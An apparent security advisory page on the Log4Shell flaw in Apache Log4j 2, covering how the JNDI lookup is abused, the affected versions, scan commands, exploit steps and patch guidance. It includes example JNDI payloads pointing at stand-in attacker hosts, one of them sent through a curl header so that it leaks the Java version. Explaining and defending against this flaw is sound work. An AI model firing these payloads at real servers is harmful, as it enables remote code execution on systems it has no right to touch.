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How the mentioned CVE works:
The vulnerability, dubbed “Log4Shell,” exists in the Java Naming and Directory Interface (JNDI) lookup feature of the Apache Log4j 2 library. Attackers can exploit it by submitting a specially crafted string, such as ${jndi:ldap://attacker.com/a}, to any application input that gets logged by a vulnerable Log4j instance (e.g., HTTP headers, user agents, form fields). When Log4j processes this string, it resolves the JNDI reference, which can point to a malicious LDAP server controlled by the attacker. This server responds with a path to a remote Java class file. The vulnerable application then fetches and executes this class file, leading to arbitrary code execution with the privileges of the application. The attack leverages the inherent trust in the JNDI lookup mechanism without proper validation.
Platform: Apache Log4j
Version: 2.0-beta9 to 2.14.1
Vulnerability : Remote Code Execution
Severity: Critical
date: 2021-12-09
Prediction: 2021-12-18
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Scan for vulnerable JAR files
find / -name "log4j.jar" -type f 2>/dev/null
java -jar log4j2-scan.jar --scan-path /apps
Test for vulnerability with DNS callback
curl -H 'X-Api-Version: ${jndi:dns://${sys:java.version}.attacker.tld/a}' target.com
How Exploit:
- Attacker plants JNDI payload in any logged input (e.g., `User-Agent` header).
- Vulnerable app logs the string, triggering Log4j’s lookup.
- Log4j requests the external LDAP/DNS server specified in the payload.
- Malicious server responds with the location of a harmful Java class.
- Vulnerable app loads and executes the remote class, granting attacker control.
Protection from this CVE
- Immediately upgrade Log4j to version 2.17.0 or later.
- If unable to patch, remove the `JndiLookup` class from the classpath: `zip -q -d log4j-core-.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`
3. Set the system property `log4j2.formatMsgNoLookups` to `true` or the environment variableLOG4J_FORMAT_MSG_NO_LOOKUPS=true. - Implement network egress filtering to block outbound LDAP and RMI requests from vulnerable systems.
Impact:
Massive, widespread remote code execution enabling complete system compromise, data theft, ransomware deployment, and unauthorized access across internet-facing services.
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Sources:
Reported By: www.cve.org
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